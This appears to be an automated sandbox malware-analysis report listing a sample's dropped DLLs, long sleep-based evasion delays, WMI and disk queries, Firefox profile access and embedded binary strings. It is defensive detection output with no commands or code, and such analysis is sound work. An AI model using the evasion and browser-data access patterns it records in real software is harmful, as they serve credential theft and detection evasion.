Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX1\frhasdtr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\JKECFCFBGD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-3RMPS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lgrn[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userJJJJDAAECG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-1HF8J.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-V3DES.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-OV7N4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\LAzlmFmPejofyAjGuKql.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lgrn[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-OQOI6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-KEELI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_iscrypt.dll	Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Users\user\Desktop\file.exe TID: 2800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 736	Thread sleep count: 99 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6936	Thread sleep count: 614 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6936	Thread sleep time: -122800s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 736	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5316	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe TID: 2308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe TID: 3128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe TID: 5544	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe TID: 3488	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe TID: 5300	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe TID: 7516	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe TID: 5896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6388	Thread sleep count: 201 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6388	Thread sleep time: -402201s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6376	Thread sleep count: 174 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6376	Thread sleep time: -348174s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6156	Thread sleep count: 205 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6156	Thread sleep time: -410205s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 8168	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 2916	Thread sleep count: 57 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 2916	Thread sleep time: -342000s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 4628	Thread sleep count: 215 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 4628	Thread sleep time: -430215s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6160	Thread sleep count: 197 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6160	Thread sleep time: -394197s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6172	Thread sleep count: 190 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6172	Thread sleep time: -380190s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6324	Thread sleep count: 218 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6324	Thread sleep time: -436218s >= -30000s
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6408	Thread sleep count: 194 > 30
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe TID: 6408	Thread sleep time: -388194s >= -30000s
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe TID: 5316	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2308	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2312	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7344	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe TID: 7632	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe TID: 6300	Thread sleep time: -1020000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00540BC5 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	1_2_00540BC5
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F8B190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	6_2_00007FF7B2F8B190
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F740BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	6_2_00007FF7B2F740BC
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F9FCA0 FindFirstFileExA,	6_2_00007FF7B2F9FCA0
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_004062EB FindFirstFileW,FindClose,	8_2_004062EB
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_00406CB1 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00406CB1

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Code function: 6_2_00007FF7B2F916A4 VirtualQuery,GetSystemInfo,

6_2_00007FF7B2F916A4

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	Thread delayed: delay time: 60000

Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\

Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DasAgentFoundEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.PermissionAddedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2450
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3781
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3780
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.724
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1128
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.723
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1129
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2459
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.722
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.721
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.720
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*ManagedObjectReference).String
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1120
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2452
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3783
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1121
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2451
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3782
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1122
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2454
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3785
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.729
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1123
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2453
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3784
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.728
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1124
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2456
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3787
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.727
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1125
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2455
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3786
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.726
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1126
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2458
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3789
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.725
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.1127
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2457
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3788
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostDigestVerificationSetting).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostRuntimeInfoNetStackInstanceRuntimeInfoState).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostGraphicsInfoGraphicsType.Values
